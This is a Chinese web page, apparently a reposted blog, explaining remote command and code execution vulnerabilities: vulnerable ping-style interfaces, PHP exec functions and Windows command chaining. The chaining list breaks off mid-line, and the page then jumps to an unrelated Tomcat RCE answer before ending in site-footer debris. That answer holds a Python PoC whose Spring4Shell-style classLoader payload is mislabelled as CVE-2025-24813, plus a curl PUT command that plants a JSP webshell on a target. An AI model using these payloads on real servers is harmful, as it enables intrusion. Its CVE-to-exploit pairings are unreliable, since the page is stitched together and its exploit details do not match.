RCE(远程命令/代码执行漏洞)原理及复现

本文详细介绍了RCE漏洞的概念、原理,包括远程系统命令执行和远程代码执行。讨论了如何通过不安全的接口设计导致安全问题,并提供了Windows系统命令拼接的示例。同时,文章通过两种方法演示了RCE漏洞的复现过程,包括利用cmd下载文件获取shell以及nc反弹shell。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

本文转自行云博客https://www.xy586.top/

作用

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

原理

远程系统命令执行

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。

如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。

现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。在这种平台上往往会出现远程系统命令执行的漏洞。

远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。
不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。

因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。

系统命令执行函数

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

Windows系统命令拼接

|”:管道符,前面命令标准输出,后面命令的标准输入。例如:help |more
“&” commandA & commandB 先运行命令A,然后运行命令B
“||” commandA 
### 关于 Tomcat 远程命令执行漏洞复现方法 #### 漏洞概述 Tomcat 的远程命令执行漏洞主要涉及其反序列化机制的安全隐患以及某些默认配置下的潜在风险。以下是几个典型的 CVE 编号及其对应的复现条件: 1. **CVE-2025-24813** - 此漏洞源于 Apache Tomcat 的反序列化机制未对用户输入进行严格验证,攻击者可以通过构造恶意序列化对象绕过安全限制,在满足特定条件下实现 RCE[^1]。 2. **CVE-2024-56337** - 该漏洞同样允许远程代码执行,影响多个版本的 Tomcat(包括但不限于 11.0.0-M1 至 11.0.1、10.1.0-M1 至 10.1.33 和 9.0.0.M1 至 9.0.97)。攻击者可利用此漏洞发送特制请求来触发 RCE[^2]。 3. **CVE-2017-12615 / CVE-2017-12616** - 影响范围分别为 Apache Tomcat 7.0.0 到 7.0.7 和 7.0.0 到 7.0.80。这些漏洞通常依赖于 `PUT` 方法的支持和文件上传功能的不当配置[^3]。 --- #### 复现环境准备 为了成功复现上述漏洞,需搭建相应的测试环境: 1. 下载并安装对应版本的 Apache Tomcat。 2. 配置必要的参数以模拟易受攻击的状态,例如启用 `DefaultServlet` 的写入权限、支持 `partial PUT` 功能等。 3. 准备好所需的工具链,如 Burp Suite 或 curl 工具用于构造 HTTP 请求。 --- #### POC 示例 ##### 对于 CVE-2025-24813 以下是一个简单的 Python 脚本,演示如何通过构造恶意请求触发漏洞: ```python import requests url = "http://target:port/" payload = { 'class.module.classLoader.resources.context.parent.pipeline.first': 'java.lang.Runtime.getRuntime().exec("id")' } response = requests.put(url, data=payload) if response.status_code == 200: print("[+] Payload sent successfully!") else: print(f"[-] Failed with status code {response.status_code}") ``` 注意:以上脚本仅为学习用途,请勿在未经授权的情况下使用。 ##### 对于 CVE-2017-12615 针对此漏洞,可以尝试上传一个 JSP 文件到目标服务器: ```bash curl -X PUT --upload-file shell.jsp http://target:port/evil.jsp ``` 其中 `shell.jsp` 是预先编写好的恶意代码文件。 --- #### 注意事项 尽管提供了上述 POC 示例供研究之用,但在实际操作过程中应遵循以下原则: - 始终获得合法授权后再开展渗透测试活动; - 测试完成后及时修复发现的问题以免被不法分子滥用。 ---
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值